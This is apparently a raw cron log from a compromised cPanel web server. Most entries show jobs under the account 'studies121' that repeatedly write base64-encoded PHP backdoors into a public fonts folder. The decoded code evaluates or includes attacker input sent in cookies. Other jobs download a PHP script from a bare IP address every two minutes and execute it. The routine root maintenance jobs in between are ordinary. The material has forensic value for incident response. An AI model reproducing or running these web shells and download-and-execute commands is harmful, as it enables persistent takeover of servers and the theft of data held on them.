Sep 12 03:41:01 ip-184-168-122-23 CROND[18980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:42:01 ip-184-168-122-23 CROND[19068]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 03:42:01 ip-184-168-122-23 CROND[19069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:42:01 ip-184-168-122-23 CROND[19073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:42:01 ip-184-168-122-23 CROND[19071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:42:01 ip-184-168-122-23 CROND[19070]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:43:01 ip-184-168-122-23 CROND[19238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:43:01 ip-184-168-122-23 CROND[19239]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:43:01 ip-184-168-122-23 CROND[19240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:43:01 ip-184-168-122-23 CROND[19241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:44:01 ip-184-168-122-23 CROND[19318]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:44:01 ip-184-168-122-23 CROND[19322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:44:01 ip-184-168-122-23 CROND[19320]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 03:44:01 ip-184-168-122-23 CROND[19323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:44:01 ip-184-168-122-23 CROND[19321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:45:01 ip-184-168-122-23 CROND[19410]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:45:01 ip-184-168-122-23 CROND[19413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:45:01 ip-184-168-122-23 CROND[19411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:45:01 ip-184-168-122-23 CROND[19412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:45:01 ip-184-168-122-23 CROND[19414]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 03:45:01 ip-184-168-122-23 CROND[19415]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 03:46:01 ip-184-168-122-23 CROND[19509]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:46:01 ip-184-168-122-23 CROND[19511]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 03:46:01 ip-184-168-122-23 CROND[19513]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 03:46:01 ip-184-168-122-23 CROND[19514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:46:01 ip-184-168-122-23 CROND[19515]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 03:46:01 ip-184-168-122-23 CROND[19516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:46:01 ip-184-168-122-23 CROND[19510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:47:01 ip-184-168-122-23 CROND[19610]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:47:01 ip-184-168-122-23 CROND[19612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:47:01 ip-184-168-122-23 CROND[19611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:47:01 ip-184-168-122-23 CROND[19614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:47:01 ip-184-168-122-23 anacron[14377]: Job `cron.daily' started
Sep 12 03:47:01 ip-184-168-122-23 run-parts(/etc/cron.daily)[19623]: starting logrotate
Sep 12 03:47:01 ip-184-168-122-23 run-parts(/etc/cron.daily)[19644]: finished logrotate
Sep 12 03:47:01 ip-184-168-122-23 run-parts(/etc/cron.daily)[19623]: starting man-db.cron
Sep 12 03:47:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[20295]: finished man-db.cron
Sep 12 03:47:02 ip-184-168-122-23 anacron[14377]: Job `cron.daily' terminated
Sep 12 03:47:02 ip-184-168-122-23 anacron[14377]: Normal exit (1 job run)
Sep 12 03:48:02 ip-184-168-122-23 CROND[20374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:48:02 ip-184-168-122-23 CROND[20378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:48:02 ip-184-168-122-23 CROND[20379]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 03:48:02 ip-184-168-122-23 CROND[20377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:48:02 ip-184-168-122-23 CROND[20376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:49:01 ip-184-168-122-23 CROND[20564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:49:01 ip-184-168-122-23 CROND[20566]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:49:01 ip-184-168-122-23 CROND[20567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:49:01 ip-184-168-122-23 CROND[20565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:50:01 ip-184-168-122-23 CROND[20653]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 03:50:01 ip-184-168-122-23 CROND[20655]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 03:50:01 ip-184-168-122-23 CROND[20656]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 03:50:01 ip-184-168-122-23 CROND[20663]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 03:50:01 ip-184-168-122-23 CROND[20662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:50:01 ip-184-168-122-23 CROND[20661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:50:01 ip-184-168-122-23 CROND[20664]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:50:01 ip-184-168-122-23 CROND[20665]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 03:50:01 ip-184-168-122-23 CROND[20666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:51:01 ip-184-168-122-23 CROND[20761]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:51:01 ip-184-168-122-23 CROND[20763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:51:01 ip-184-168-122-23 CROND[20762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:51:01 ip-184-168-122-23 CROND[20764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:52:01 ip-184-168-122-23 CROND[20861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:52:01 ip-184-168-122-23 CROND[20863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:52:01 ip-184-168-122-23 CROND[20862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:52:01 ip-184-168-122-23 CROND[20864]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:52:01 ip-184-168-122-23 CROND[20860]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 03:53:01 ip-184-168-122-23 CROND[20976]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:53:01 ip-184-168-122-23 CROND[20978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
